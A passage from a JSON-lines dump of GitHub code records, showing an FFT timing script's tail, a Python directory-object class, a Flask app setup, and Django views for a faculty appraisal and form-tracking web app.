2 == 0\ndef add_buffer(arr):\n i = 0\n n = 0\n while n != len(arr):\n n = 2**i\n # requires a buffer to have len of power of 2\n if n > len(arr):\n return np.concatenate((arr, np.zeros([n - len(arr), ])))\n\n # N is still smaller than arr length\n else:\n i += 1\n\n return arr\n\n# helper function\n# p -> polynomial\ndef fft(p):\n l = len(p)\n return fft_inter(add_buffer(p), gen_omegas(l), l)\n\n\nif __name__ == \"__main__\":\n if sys.argv[1] == '-r':\n sizes = []\n iter_time = []\n recur_time = []\n for i in range(6, int(sys.argv[2])):\n arr = np.random.randint(0, 1000000, 2**i)\n sizes.append(i)\n iter_time.append(timer(arr, fft))\n recur_time.append(timer(arr, fft_helper))\n\n plt.plot(sizes, iter_time, label=\"Iterative FFT\")\n plt.plot(sizes, recur_time, label=\"Recursive FFT\")\n print(iter_time)\n print(np.polyfit(sizes, iter_time, 1))\n plt.yscale('log', basey=2)\n plt.title(\"FFT (Recursion & Iterative) Runtime v Problem Size\")\n plt.xlabel(\"n (log 2)\")\n plt.ylabel(\"Time (log 2)\")\n plt.legend()\n plt.savefig(f\"Recur_Iter_FFT_n={sys.argv[2]}.png\")\n plt.show()\n print(f\"Iterative times\\n{iter_time}\\nRecursion Times\\n{recur_time}\")\n\n else:\n print(\"USAGE: python main.py -r RANGE\")\n print(\"RANGE is the upper limit that the comparision between fft recursive and fft iterative will run to.\")","repo_name":"Bryson14/AdvancedAlgo","sub_path":"src/assn10_fft_iterative/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3888,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"27772534453","text":"## \\file DirFileObj.py\n# \\brief Edits files\n#\n# Handles files.\n#\n# Revision | Author | Date | Comment\n#:---------|:------------------|:---------|:------------------------------------\n# 1.0 | Matheus T. M. | 01/13/20 | Initial version\n#\n\nimport os\nimport shutil\nfrom pytomation.fileTypes.BaseFileObj import BaseFileObj\nfrom pytomation.fileTypes.TextFileObj import TextFileObj\n\nclass DirFileObj(BaseFileObj):\n\n\t## Constructor\n\t#\n\t# Create the object depending on the\n\t#\n\t# \\param self Instance of BaseFileObj class.\n\t# \\param path Optional String with path of file\n\t# \\param name Optional String with name of file\n\t# \\param father Optional BaseFileObj that is the father of this file\n\tdef __init__(self, path=\"\", name=\"\", father=None):\n\t\t# Initializes contents (dictionary of subdirectories and dictionary of files, as text files)\n\t\tself.__dirDict = {}\n\t\tself.__fileDict = {}\n\t\t# Calls super constructor\n\t\tsuper(DirFileObj, self).__init__(path=path, name=name, father=father)\n\n\t## Protected _isNewFather method\n\t#\n\t# \\param self Instance of DirFileObj class.\n\t# \\param kid Instance of BaseFileObj class.\n\tdef _isNewFather(self, kid):\n\t\t# Checks inputs\n\t\tif not isinstance(kid, BaseFileObj):\n\t\t\traise TypeError(\"When adding new kid to a father, kid must be BaseFileObj instance\")\n\t\t# Validate that kid is not root and actually a kid of this object\n\t\tif kid.isRoot():\n\t\t\traise RuntimeError(\"Unexpected error when adding kid object that is a root\")\n\t\tif kid.father != self:\n\t\t\traise RuntimeError(\"Unexpected error when adding kid of another object\")\n\t\t# Get name of kid\n\t\tkidName = kid.name\n\t\t# Send kid to right place\n\t\tif isinstance(kid, TextFileObj):\n\t\t\t# Check if kid is not already in dictionary\n\t\t\tif kidName in self.getFileList():\n\t\t\t\traise RuntimeError(\"File %s already present in dir %s. Cannot overwrite.\" % (kidName, self.path))\n\t\t\tself.__fileDict[kidName] = kid\n\t\telif isinstance(kid, DirFileObj):\n\t\t\t# Check if kid is not already in dictionary\n\t\t\tif kidName in self.getDirList():\n\t\t\t\traise RuntimeError(\"Dir %s already present in dir %s. Cannot overwrite.\" % (kidName, self.path))\n\t\t\tself.__dirDict[kidName] = kid\n\n\t## Private _writeFile method.\n\t#\n\t# \\param self Instance of DirFileObj class.\n\tdef _writeFile(self):\n\t\t# Gets path\n\t\tpath = self.path\n\t\t# Remove current folder if exists\n\t\tif os.path.exists(path):\n\t\t\ttry:\n\t\t\t\tshutil.rmtree(path)\n\t\t\texcept Exception as e:\n\t\t\t\traise RuntimeError(\"Error writing DirFileObj to path %s. Unexpected when removing old dir: %s\" % (path,str(e)))\n\t\t# Create folder\n\t\ttry:\n\t\t\tos.mkdir(path)\n\t\texcept Exception as e:\n\t\t\traise RuntimeError(\"Error writing DirFileObj to path %s. Unexpected when creating new dir: %s\" % (path,str(e)))\n\t\t# Write all files it contains\n\t\tfor fileName in self.getFileList():\n\t\t\tself.__fileDict[fileName].write()\n\t\t# Write all dirs it contains\n\t\tfor dirName in self.getDirList():\n\t\t\tself.__dirDict[dirName].write()\n\n\t## Private readFile method.\n\t#\n\t# \\param self Instance of DirFileObj class.\n\tdef _readFile(self):\n\t\t# Gets path\n\t\tpath = self.path\n\t\t# Read everything\n\t\tfor (myPath, subdirList, fileList) in os.walk(path):\n\t\t\t# Reads all sub directories\n\t\t\tfor subdirName in subdirList:\n\t\t\t\tself.__dirDict[subdirName] = DirFileObj(name=subdirName, father=self)\n\t\t\t# Reads all files\n\t\t\tfor fileName in fileList:\n\t\t\t\tself.__fileDict[fileName] = TextFileObj(name=fileName, father=self)\n\t\t\t# Avoid recursive reading\n\t\t\tbreak\n\n\t## Private _copyFile method.\n\t#\n\t# \\param self Instance of TextFileObj class.\n\tdef _copyFile(self):\n\t\t# Copy old dictionaries\n\t\toldFileDict = self.__fileDict\n\t\toldDirDict = self.__dirDict\n\t\t# Initialize new dictionaries\n\t\tself.__fileDict = {}\n\t\tself.__dirDict = {}\n\t\t# Copies all files it contains\n\t\tfor fileName in oldFileDict.keys():\n\t\t\tself.__fileDict[fileName]=oldFileDict[fileName].copy(name=fileName, father=self)\n\t\t# Copies all dirs it contains\n\t\tfor dirName in oldDirDict.keys():\n\t\t\tself.__dirDict[dirName]=oldDirDict[dirName].copy(name=dirName, father=self)\n\n\t## Gets a list of directories contained in this directory.\n\t#\n\t# \\param self Instance of DirFileObj class.\n\tdef getDirList(self):\n\t\treturn list(self.__dirDict.keys())\n\n\t## Gets a directory contained in this directory.\n\t#\n\t# \\param self Instance of DirFileObj class.\n\t# \\param dirName String with name of dir to look for\n\t# \\return DirFileObj\n\tdef getDir(self, dirName):\n\t\t# Validate input type\n\t\tif not isinstance(dirName, str):\n\t\t\traise TypeError(\"Parameter dirName must be a string\")\n\t\t# Look for dir\n\t\tif dirName in self.getDirList():\n\t\t\treturn self.__dirDict[dirName]\n\t\telse:\n\t\t\traise ValueError(\"Could not find directory %s\" % dirName)\n\n\t## Gets a list of files contained in this directory.\n\t#\n\t# \\param self Instance of DirFileObj class.\n\tdef getFileList(self):\n\t\treturn list(self.__fileDict.keys())\n\n\t## Gets a file contained in this directory.\n\t#\n\t# \\param self Instance of DirFileObj class.\n\t# \\param fileName String with name of file to look for\n\t# \\return TextFileObj\n\tdef getFile(self, fileName):\n\t\t# Validate input type\n\t\tif not isinstance(fileName, str):\n\t\t\traise TypeError(\"Parameter fileName must be a string\")\n\t\t# Look for dir\n\t\tif fileName in self.getFileList():\n\t\t\treturn self.__fileDict[fileName]\n\t\telse:\n\t\t\traise ValueError(\"Could not find file %s\" % fileName)\n","repo_name":"mtmoreira/pytomation","sub_path":"pytomation/fileTypes/DirFileObj.py","file_name":"DirFileObj.py","file_ext":"py","file_size_in_byte":5276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"37208325552","text":"from flask import Flask\nfrom flask_moment import Moment\nfrom config import Config\nimport logging\nfrom logging.handlers import RotatingFileHandler\nimport os\n\n\napp = Flask(__name__)\napp.config.from_object(Config)\n\nmoment = Moment(app)\n\n\nif not app.debug:\n if app.config['LOG_TO_STDOUT']:\n stream_handler = logging.StreamHandler()\n stream_handler.setLevel(logging.INFO)\n app.logger.addHandler(stream_handler)\n else:\n if not os.path.exists('logs'):\n os.mkdir('logs')\n file_handler = RotatingFileHandler('logs/byvd.log',\n maxBytes=10240, backupCount=10)\n file_handler.setFormatter(logging.Formatter(\n '%(asctime)s %(levelname)s: %(message)s '\n '[in %(pathname)s:%(lineno)d]'))\n file_handler.setLevel(logging.INFO)\n app.logger.addHandler(file_handler)\n\n app.logger.setLevel(logging.INFO)\n app.logger.info('byvd startup')\n\n\nfrom app import routes, errors\n","repo_name":"GitauHarrison/youtube-video-downloader","sub_path":"app/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":999,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"31812978925","text":"from binascii import Incomplete\nimport email\nfrom datetime import date\nimport imp\nfrom django.shortcuts import get_object_or_404, redirect, render\nfrom django.contrib.auth.models import User\nfrom django.contrib import messages\nfrom django.contrib.auth import authenticate, login\nfrom app.models import FacultyMembers\nfrom app.models import FacultyInfo\nfrom app.models import FormProgress\nfrom app.models import BFormProgress\nfrom app.models import FormSix\nfrom app.models import FormFive\nfrom app.models import FormFour\nfrom app.models import FormThree\nfrom app.models import FormTwo\nfrom app.models import FormOne\nfrom app.models import BformFive\nfrom app.models import BformFour\nfrom app.models import BformThree\nfrom app.models import BformThreeB\nfrom app.models import BformTwo\nfrom app.models import BformOneA\nfrom app.models import BformOneB\nfrom app.models import BformOneC\nfrom django.contrib.auth import logout\nfrom django.shortcuts import redirect\ntoday = date.today()\n\ndef logout_view(request):\n logout(request)\n return redirect('signin')\n\ndef welcome(request):\n return render(request, 'app/welcome.html')\n\ndef credits(request):\n return render(request, 'app/credits.html')\n \ndef profileupdate(request):\n if request.method == \"POST\":\n pron = request.POST['pron']\n firstname = request.POST['firstname']\n lastName = request.POST['lastName']\n designation = request.POST['designation']\n FacultyID = request.POST['FacultyID']\n nameofInstitute = request.POST['nameofInstitute']\n nameofDepartment = request.POST['nameofDepartment']\n email = request.POST['email']\n phone = request.POST['phone']\n city = request.POST['city']\n statelocation = request.POST['statelocation']\n dob = request.POST['dob']\n joiningdate = request.POST['joiningdate']\n expyears = request.POST['expyears']\n ndyexpyears = request.POST['ndyexpyears']\n yearofappraisel = request.POST['yearofappraisel']\n\n infodata = FacultyInfo(\n pron = pron,\n firstname = firstname,\n lastName = lastName,\n designation = designation,\n FacultyID = FacultyID,\n nameofInstitute = nameofInstitute,\n nameofDepartment = nameofDepartment,\n email = email,\n phone = phone,\n city = city,\n statelocation = statelocation,\n dob = dob,\n joiningdate = joiningdate,\n expyears = expyears,\n ndyexpyears = ndyexpyears,\n yearofappraisel = yearofappraisel\n )\n\n infodata.save()\n\n infosdata = FacultyMembers(\n email = email,\n name = firstname,\n claimedscore = 0,\n givenscore = 0,\n performace = \"Excellent\",\n formstatus = 0,\n FacultyID = FacultyID,\n nameofInstitute = nameofInstitute,\n nameofDepartment = nameofDepartment,\n lastupdated = today.strftime(\"%m/%d/%y\")\n )\n \n infosdata.save()\n \n FormProgressData = FormProgress.objects.get(email = email)\n FormProgressData.firstname = firstname\n FormProgressData.FacultyID = FacultyID\n FormProgressData.basicprofile = \"Completed\"\n FormProgressData.save()\n return redirect(home)\n\n return render(request, 'app/dashboard/forms/teaching_and_load_assesment.html')\n\n# Create your views here.\ndef signin(request):\n if request.user.is_authenticated:\n filleddata = FormProgress.objects.get(email= request.user.email)\n if filleddata.basicprofile == \"Completed\":\n return redirect('home')\n else:\n return render(request,'app/index.html',{'user':request.user})\n \n else:\n if request.method == 'POST':\n username = request.POST['username']\n pass1 = request.POST['pass1'] \n\n user = authenticate(username=username, password=pass1)\n\n if user is not None:\n login(request,user)\n if user.first_name == \"FACULTY\":\n filleddata = FormProgress.objects.get(email=request.user.email)\n if filleddata.basicprofile == \"Completed\":\n return redirect('home')\n return render(request,'app/index.html',{'user':request.user})\n elif user.first_name == \"HOD\":\n return redirect('hod')\n else:\n messages.error(request,\"Bad credentials\")\n return redirect('signin')\n return render(request, 'app/sign-in.html')\n\ndef home(request):\n if request.user.is_authenticated:\n # filleddata = FormProgress.objects.all()\n filleddata = FormProgress.objects.get(email= request.user.email)\n if filleddata.basicprofile == \"Completed\":\n if request.user.first_name == \"FACULTY\": \n context = {\n 'filleddata': filleddata,\n 'user': request.user\n }\n return render(request, 'app/dashboard/firstpage.html', context)\n elif request.user.first_name == \"HOD\":\n return redirect('hod')\n else:\n return redirect('signin')\n else:\n return redirect('login')\n\ndef home2(request):\n if request.user.is_authenticated:\n # filleddata = FormProgress.objects.all()\n filleddata = BFormProgress.objects.get(email= request.user.email)\n if request.user.first_name == \"FACULTY\": \n context = {\n 'filleddata': filleddata,\n 'user': request.user\n }\n return render(request, 'app/dashboard/hometwo.html', context)\n elif request.user.first_name == \"HOD\":\n return redirect('hod')\n else:\n return redirect('signin')\n else:\n return redirect('login')\n\n\ndef hod(request):\n if request.user.is_authenticated:\n # filleddata = FormProgress.objects.all()\n filleddata = FormProgress.objects.get(email= request.user.email)\n if filleddata.basicprofile == \"Completed\":\n email = request.user.email\n FacultyInfoData = FacultyInfo.objects.get(email = email)\n facdata = FacultyMembers.objects.filter(nameofDepartment = FacultyInfoData.nameofDepartment)\n \n context = {\n 'facdata': facdata\n }\n\n return render(request, 'app/dashboard/hod_welcome.html', context)\n else:\n return redirect('signin')\n else:\n return redirect('login')\n \ndef formone(request):\n if request.method == \"POST\":\n email = request.user.email\n currentclass = request.POST['currentclass']\n division = request.POST['division']\n subjectname = request.POST['subjectname']\n numberoflectures = request.POST['numberoflectures']\n scoreclaimedbyfaculty = request.POST['scoreclaimedbyfaculty']\n collpolllink = request.POST['collpolllink']\n\n infodata = FormOne(\n email = email,\n currentclass = currentclass,\n division = division,\n subjectname = subjectname,\n numberoflectures = numberoflectures,\n scoreclaimedbyfaculty = scoreclaimedbyfaculty,\n collpolllink = collpolllink\n )\n infodata.save()\n\n FormProgressData = FormProgress.objects.get(email = email)\n FormProgressData.FormOne = \"Completed\"\n FormProgressData.save()\n #After Completion of form we are redirected to homepage\n return redirect('home')\n\n return render(request, 'app/dashboard/forms/teaching_and_load_assesment.html')\n\ndef formtwo(request):\n if request.method == \"POST\":\n email = request.user.email\n currentclass = request.POST['currentclass']\n division = request.POST['division']\n subjectname = request.POST['subjectname']\n numberofstudent = request.POST['numberofstudent']\n dateofexam = request.POST['dateofexam']\n appointedas = request.POST['appointedas']\n fclaimedmarks = request.POST['fclaimedmarks']\n\n infodata = FormTwo(\n email = email,\n currentclass = currentclass,\n division = division,\n subjectname = subjectname,\n numberofstudent = numberofstudent,\n dateofexam = dateofexam,\n appointedas = appointedas,\n fclaimedmarks = fclaimedmarks,\n )\n infodata.save()\n\n FormProgressData = FormProgress.objects.get(email = email)\n FormProgressData.FormTwo = \"Completed\"\n FormProgressData.save()\n #After Completion of form we are redirected to homepage\n return redirect('home')\n\n return render(request, 'app/dashboard/forms/examination_and_evaluation_duties.html')\n\ndef formthree(request):\n if request.method == \"POST\":\n email = request.user.email\n studentactivityname = request.POST['studentactivityname']\n currentclass = request.POST['currentclass']\n division = request.POST['division']\n subjectname = request.POST['subjectname']\n numberofstudent = request.POST['numberofstudent']\n dateofactivity = request.POST['dateofactivity']\n fclaimedmarks = request.POST['fclaimedmarks']\n\n infodata = FormThree(\n email = email,\n studentactivityname = studentactivityname,\n currentclass = currentclass,\n division = division,\n subjectname = subjectname,\n numberofstudent = numberofstudent,\n dateofactivity = dateofactivity,\n fclaimedmarks = fclaimedmarks,\n )\n infodata.save()\n\n FormProgressData = FormProgress.objects.get(email = email)\n FormProgressData.FormThree = \"Completed\"\n FormProgressData.save()\n #After Completion of form we are redirected to homepage\n return redirect('home')\n\n return render(request, 'app/dashboard/forms/student_related_activities.html')\n\ndef formfour(request):\n if request.method == \"POST\":\n email = request.user.email\n currentclass = request.POST['currentclass']\n division = request.POST['division']\n studentbatch = request.POST['studentbatch']\n numberofstudent = request.POST['numberofstudent']\n avgresult = request.POST['avgresult']\n adoncourse = request.POST['adoncourse']\n othercourse = request.POST['othercourse']\n allclear = request.POST['allclear']\n fclaimedmarks = request.POST['fclaimedmarks']\n\n infodata = FormFour(\n email = email,\n currentclass = currentclass,\n division = division,\n studentbatch = studentbatch,\n numberofstudent = numberofstudent,\n avgresult = avgresult,\n adoncourse = adoncourse,\n othercourse = othercourse,\n allclear = allclear,\n fclaimedmarks = fclaimedmarks,\n )\n infodata.save()\n \n FormProgressData = FormProgress.objects.get(email = email)\n FormProgressData.FormFour = \"Completed\"\n FormProgressData.save()\n #After Completion of form we are redirected to homepage\n return redirect('home')\n\n return render(request, 'app/dashboard/forms/teacher_guardian_performance.html')\n\ndef formfive(request):\n if request.method == \"POST\":\n email = request.user.email\n currentclass = request.POST['currentclass']\n division = request.POST['division']\n academicyear = request.POST['academicyear']\n semester = request.POST['semester']\n subjectname = request.POST['subjectname']\n numberoftaught = request.POST['numberoftaught']\n lastyresult = request.POST['lastyresult']\n currentyresult = request.POST['currentyresult']\n fclaimedmarks = request.POST['fclaimedmarks']\n\n infodata = FormFive(\n email = email,\n currentclass = currentclass,\n division = division,\n academicyear = academicyear,\n semester = semester,\n subjectname = subjectname,\n numberoftaught = numberoftaught,\n lastyresult = lastyresult,\n currentyresult = currentyresult,\n fclaimedmarks = fclaimedmarks\n )\n\n infodata.save()\n FormProgressData = FormProgress.objects.get(email = email)\n FormProgressData.FormFive = \"Completed\"\n FormProgressData.save()\n #After Completion of form we are redirected to homepage\n return redirect('home')\n\n return render(request, 'app/dashboard/forms/university_result_analysis.html')\n\ndef formsix(request):\n if request.method == \"POST\":\n email = request.user.email\n academicyear = request.POST['academicyear']\n semester = request.POST['semester']\n currentclass = request.POST['currentclass']\n division = request.POST['division']\n subjectname = request.POST['subjectname']\n fclaimedmarks = request.POST['fclaimedmarks']\n\n infodata = FormSix(\n email = email,\n academicyear = academicyear,\n semester = semester,\n currentclass = currentclass,\n division = division,\n subjectname = subjectname,\n fclaimedmarks = fclaimedmarks\n )\n\n infodata.save()\n FormProgressData = FormProgress.objects.get(email = email)\n FormProgressData.FormSix = \"Completed\"\n FormProgressData.save()\n #After Completion of form we are redirected to homepage\n return redirect('home')\n\n return render(request, 'app/dashboard/forms/feedback_analysis.html')\n \ndef moreformone(request):\n if request.user.is_authenticated:\n try:\n filleddata = BFormProgress.objects.get(email= request.user.email)\n except BFormProgress.DoesNotExist:\n filleddata = []\n context = {\n 'filleddata': filleddata,\n }\n return render(request, 'app/dashboard/forms/more/faculty_contribution.html', context)\n else:\n return redirect('login')\n \ndef moreformonea(request):\n if request.method == \"POST\":\n email = request.user.email\n ptmeet = request.POST['ptmeet']\n inductionProgram = request.POST['inductionProgram']\n defaulterCoordinator = request.POST['defaulterCoordinator']\n internalExam = request.POST['internalExam']\n guestLecture = request.POST['guestLecture']\n industrialVisit = request.POST['industrialVisit']\n timeTableCoordinator = request.POST['timeTableCoordinator']\n nbaNaacCoordi = request.POST['nbaNaacCoordi']\n deptAcademic = request.POST['deptAcademic']\n tpoCordinate = request.POST['tpoCordinate']\n totalmarks = request.POST['totalmarks']\n fclaimedmarks = request.POST['fclaimedmarks']\n\n infodata = BformOneA(\n email = email,\n ptmeet = ptmeet,\n inductionProgram = inductionProgram,\n defaulterCoordinator = defaulterCoordinator,\n internalExam = internalExam,\n guestLecture = guestLecture,\n industrialVisit = industrialVisit,\n timeTableCoordinator = timeTableCoordinator,\n nbaNaacCoordi = nbaNaacCoordi,\n deptAcademic = deptAcademic,\n tpoCordinate = tpoCordinate,\n totalmarks = totalmarks,\n fclaimedmarks = fclaimedmarks\n )\n infodata.save()\n\n FormProgressData = BFormProgress.objects.get(email = email)\n FormProgressData.FormOneA = \"Completed\"\n FormProgressData.save()\n return redirect('home2')\n\n return render(request, 'app/dashboard/forms/partb-1/departmentLevel.html')\n \ndef moreformonec(request):\n if request.method == \"POST\":\n email = request.user.email\n admissionProcess = request.POST['admissionProcess']\n socialWelfare = request.POST['socialWelfare']\n mediaPublicity = request.POST['mediaPublicity']\n totalmarks = request.POST['totalmarks']\n fclaimedmarks = request.POST['fclaimedmarks']\n\n infodata = BformOneC(\n email = email,\n admission= admissionProcess,\n mediaPublicity = mediaPublicity,\n socialWelfare =socialWelfare,\n totalmarks = totalmarks,\n fclaimedmarks = fclaimedmarks\n )\n infodata.save()\n\n FormProgressData = BFormProgress.objects.get(email = email)\n FormProgressData.FormOneC = \"Completed\"\n FormProgressData.save()\n return redirect('home2')\n\n return render(request, 'app/dashboard/forms/partb-1/campusLevel.html')\n \ndef moreformoneb(request):\n if request.method == \"POST\":\n email = request.user.email\n interviewCoordinator = request.POST['interviewCoordinator']\n annualEvent = request.POST['annualEvent']\n admissionProcess = request.POST['admissionProcess']\n ceo = request.POST['ceo']\n guestLecture = request.POST['guestLecture']\n nbaNaacCoordi = request.POST['nbaNaacCoordi']\n tpoCordinate = request.POST['tpoCordinate']\n totalmarks = request.POST['totalmarks']\n fclaimedmarks = request.POST['fclaimedmarks']\n\n infodata = BformOneB(\n email = email,\n interviewCoordinator = interviewCoordinator,\n annualEvent = annualEvent,\n admissionProcess = admissionProcess,\n ceo = ceo,\n guestLecture = guestLecture,\n nbaNaacCoordi = nbaNaacCoordi,\n tpoCordinate = tpoCordinate,\n totalmarks = totalmarks,\n fclaimedmarks = fclaimedmarks\n )\n infodata.save()\n\n FormProgressData = BFormProgress.objects.get(email = email)\n FormProgressData.FormOneB = \"Completed\"\n FormProgressData.save()\n return redirect('home2')\n\n return render(request, 'app/dashboard/forms/partb-1/instituteLevel.html')\n\ndef moreformtwo(request):\n if request.method == \"POST\":\n email = request.user.email\n nameofpaper = request.POST['nameofpaper']\n nameofjournal = request.POST['nameofjournal']\n journallink = request.POST['journallink']\n paperlink = request.POST['paperlink']\n totalmarks = request.POST['totalmarks']\n fclaimedmarks = request.POST['fclaimedmarks']\n\n infodata = BformTwo(\n email = email,\n nameofpaper = nameofpaper,\n nameofjournal = nameofjournal,\n journallink = journallink,\n paperlink = paperlink,\n totalmarks = totalmarks,\n fclaimedmarks = fclaimedmarks\n )\n\n infodata.save()\n FormProgressData = BFormProgress.objects.get(email = email)\n FormProgressData.FormTwo = \"Completed\"\n FormProgressData.save()\n #After Completion of form we are redirected to homepage\n return redirect('home2')\n\n return render(request, 'app/dashboard/forms/more/randfaculty_contribution.html')\n \ndef moreformthree(request):\n if request.method == \"POST\":\n email = request.user.email\n nameofpaper = request.POST['nameofpaper']\n nameofjournal = request.POST['nameofjournal']\n paperlink = request.POST['paperlink']\n journallink = request.POST['journallink']\n fclaimedmarks = request.POST['fclaimedmarks']\n totalmarks = request.POST['totalmarks']\n\n infodata = BformThree(\n email = email,\n nameofpaper = nameofpaper,\n nameofjournal = nameofjournal,\n paperlink = paperlink,\n journallink =journallink,\n fclaimedmarks = fclaimedmarks,\n totalmarks = totalmarks,\n )\n \n infodata.save()\n\n FormProgressData = BFormProgress.objects.get(email = email)\n FormProgressData.FormThree = \"Completed\"\n FormProgressData.save()\n #After Completion of form we are redirected to homepage\n return redirect('home2')\n\n return render(request, 'app/dashboard/forms/more/published.html')\n\ndef moreformfour(request):\n if request.method == \"POST\":\n email = request.user.email\n Econtent = request.POST['Econtent']\n UploadEvidance = request.POST['UploadEvidance']\n UploadCopy = request.POST['UploadCopy']\n fclaimedmarks = request.POST['fclaimedmarks']\n totalmarks = request.POST['totalmarks']\n\n infodata = BformThreeB(\n email = email,\n Econtent = Econtent,\n UploadEvidance = UploadEvidance,\n UploadCopy = UploadCopy,\n fclaimedmarks = fclaimedmarks,\n totalmarks = totalmarks,\n )\n \n infodata.save()\n\n FormProgressData = BFormProgress.objects.get(email = email)\n FormProgressData.FormFour = \"Completed\"\n FormProgressData.save()\n #After Completion of form we are redirected to homepage\n return redirect('home2')\n\n return render(request, 'app/dashboard/forms/more/ictform.html')\n\ndef moreformfive(request):\n if request.method == \"POST\":\n email = request.user.email\n NoOfPHDGuided = request.POST['NoOfPHDGuided']\n NoOfPGguided = request.POST['NoOfPGguided']\n NoOfBEPrjGuided = request.POST['NoOfBEPrjGuided']\n ResearchProjectCompleted = request.POST['ResearchProjectCompleted']\n InProdDevelopment = request.POST['InProdDevelopment']\n EvidanceTwo = request.POST['EvidanceTwo']\n EvidanceThree = request.POST['EvidanceThree']\n EvidanceFour = request.POST['EvidanceFour']\n EvidanceOne = request.POST['EvidanceOne']\n PaperPublishedwithIndustry = request.POST['PaperPublishedwithIndustry']\n EditorialBoard = request.POST['EditorialBoard']\n Consultancy = request.POST['Consultancy']\n fclaimedmarks = request.POST['fclaimedmarks']\n totalmarks = request.POST['totalmarks']\n\n infodata = BformFour(\n email = email,\n NoOfPHDGuided = NoOfPHDGuided,\n NoOfPGguided = NoOfPGguided,\n NoOfBEPrjGuided = NoOfBEPrjGuided,\n ResearchProjectCompleted = ResearchProjectCompleted,\n InProdDevelopment = InProdDevelopment,\n Consultancy = Consultancy,\n EditorialBoard = EditorialBoard,\n PaperPublishedwithIndustry = PaperPublishedwithIndustry,\n EvidanceOne = EvidanceOne,\n EvidanceTwo = EvidanceTwo,\n EvidanceThree = EvidanceThree,\n EvidanceFour = EvidanceFour,\n fclaimedmarks = fclaimedmarks,\n totalmarks = totalmarks,\n )\n \n infodata.save()\n\n FormProgressData = BFormProgress.objects.get(email = email)\n FormProgressData.FormFOur = \"Completed\"\n FormProgressData.save()\n #After Completion of form we are redirected to homepage\n return redirect('home2')\n\n return render(request, 'app/dashboard/forms/more/researchconsultancy.html')\n\ndef moreformsix(request):\n if request.method == \"POST\":\n email = request.user.email\n EOrganised = request.POST['EOrganised']\n EAttended = request.POST['EAttended']\n UploadReport = request.POST['UploadReport']\n UploadCertificate = request.POST['UploadCertificate']\n NameEvent = request.POST['NameEvent']\n UploadEventCertificate = request.POST['UploadEventCertificate']\n NPTELName = request.POST['NPTELName']\n NPTELCert = request.POST['NPTELCert']\n IEnchanchedQualification = request.POST['IEnchanchedQualification']\n IEnchanchedQualificationProof = request.POST['IEnchanchedQualificationProof']\n fclaimedmarks = request.POST['fclaimedmarks']\n totalmarks = request.POST['totalmarks']\n\n infodata = BformFive(\n email = email,\n EOrganised = EOrganised,\n EAttended = EAttended,\n UploadReport = UploadReport,\n UploadCertificate = UploadCertificate,\n NameEvent = NameEvent,\n IEnchanchedQualificationProof = IEnchanchedQualificationProof,\n IEnchanchedQualification = IEnchanchedQualification,\n UploadEventCertificate = UploadEventCertificate,\n NPTELName = NPTELName,\n NPTELCert = NPTELCert,\n fclaimedmarks = fclaimedmarks,\n totalmarks = totalmarks,\n )\n \n infodata.save()\n\n FormProgressData = BFormProgress.objects.get(email = email)\n FormProgressData.FormSix = \"Completed\"\n FormProgressData.save()\n #After Completion of form we are redirected to homepage\n return redirect('home2')\n\n return render(request, 'app/dashboard/forms/more/Faculty_Value.html')\n\n\n\ndef myprofile(request):\n # return render(request,'app/index.html',{'user':request.user})\n if request.user.is_authenticated:\n # filleddata = FormProgress.objects.all()\n filleddata = FormProgress.objects.get(email= request.user.email)\n facultyinfodata = FacultyInfo.objects.get(email= request.user.email)\n if filleddata.basicprofile == \"Completed\":\n context = {\n 'filleddata': filleddata,\n 'user': request.user,\n 'facultyinfodata': facultyinfodata\n }\n return render(request, 'app/profile.html', context)\n else:\n return redirect('signin')\n else:\n return redirect('login')\n\n\ndef fetchprofile(request, emailid):\n if request.user.is_authenticated:\n # filleddata = FormProgress.objects.all()\n facdata = FacultyInfo.objects.get(email = emailid)\n filleddata = FormProgress.objects.get(email= emailid)\n Bfilleddata = BFormProgress.objects.get(email= emailid)\n if filleddata.basicprofile == \"Completed\":\n context = {\n 'filleddata': filleddata,\n 'bfilleddata': Bfilleddata,\n 'facultyinfodata': facdata,\n }\n return render(request, 'app/dashboard/facultyinfo.html', context)\n else:\n context = {\n 'facdata': facdata\n }\n return render(request, 'app/dashboard/facultyinfo.html', context)\n else:\n return redirect('login')\n\n\ndef fectchpdf(request):\n # return render(request,'app/index.html',{'user':request.user})\n if request.user.is_authenticated:\n emailid = request.user.email\n facdata = FacultyInfo.objects.get(email = emailid)\n filleddata = FormProgress.objects.get(email= emailid)\n\n #formone\n try:\n formonedata = FormOne.objects.get(email=emailid)\n except FormTwo.DoesNotExist:\n formonedata = []\n\n #formtwo\n try:\n formtwodata = FormTwo.objects.get(email=emailid)\n except FormTwo.DoesNotExist:\n formtwodata = []\n\n #formthree\n try:\n formthreedata = FormThree.objects.get(email=emailid)\n except FormThree.DoesNotExist:\n formthreedata = []\n\n #formfour\n try:\n formfourdata = FormFour.objects.get(email=emailid)\n except FormFour.DoesNotExist:\n formfourdata = []\n\n #formfive\n try:\n formfivedata = FormFive.objects.get(email=emailid)\n except FormFive.DoesNotExist:\n formfivedata = []\n\n #formsix\n try:\n formsixdata = FormSix.objects.get(email=emailid)\n except FormSix.DoesNotExist:\n formsixdata = []\n\n context = {\n 'filleddata': filleddata,\n 'user': request.user,\n 'facultyinfodata': facdata,\n 'formonedata': formonedata,\n 'formtwodata': formtwodata,\n 'formthreedata': formthreedata,\n 'formfourdata': formfourdata,\n 'formfivedata': formfivedata,\n 'formsixdata': formsixdata,\n }\n return render(request, 'app/dashboard/fetchforms/mainForm.html', context)\n \n else:\n return redirect('login')\n\ndef fetchMainForm(request, emailid):\n # return render(request,'app/index.html',{'user':request.user})\n if request.user.is_authenticated:\n # filleddata = FormProgress.objects.all()\n facdata = FacultyInfo.objects.get(email = emailid)\n filleddata = FormProgress.objects.get(email= emailid)\n formonedata = FormOne.objects.get(email=emailid)\n # formtwodata = FormTwo.objects.get(email=emailid)\n \n #formtwo\n try:\n formtwodata = FormTwo.objects.get(email=emailid)\n except FormTwo.DoesNotExist:\n formtwodata = []\n\n #formthree\n try:\n formthreedata = FormThree.objects.get(email=emailid)\n except FormThree.DoesNotExist:\n formthreedata = 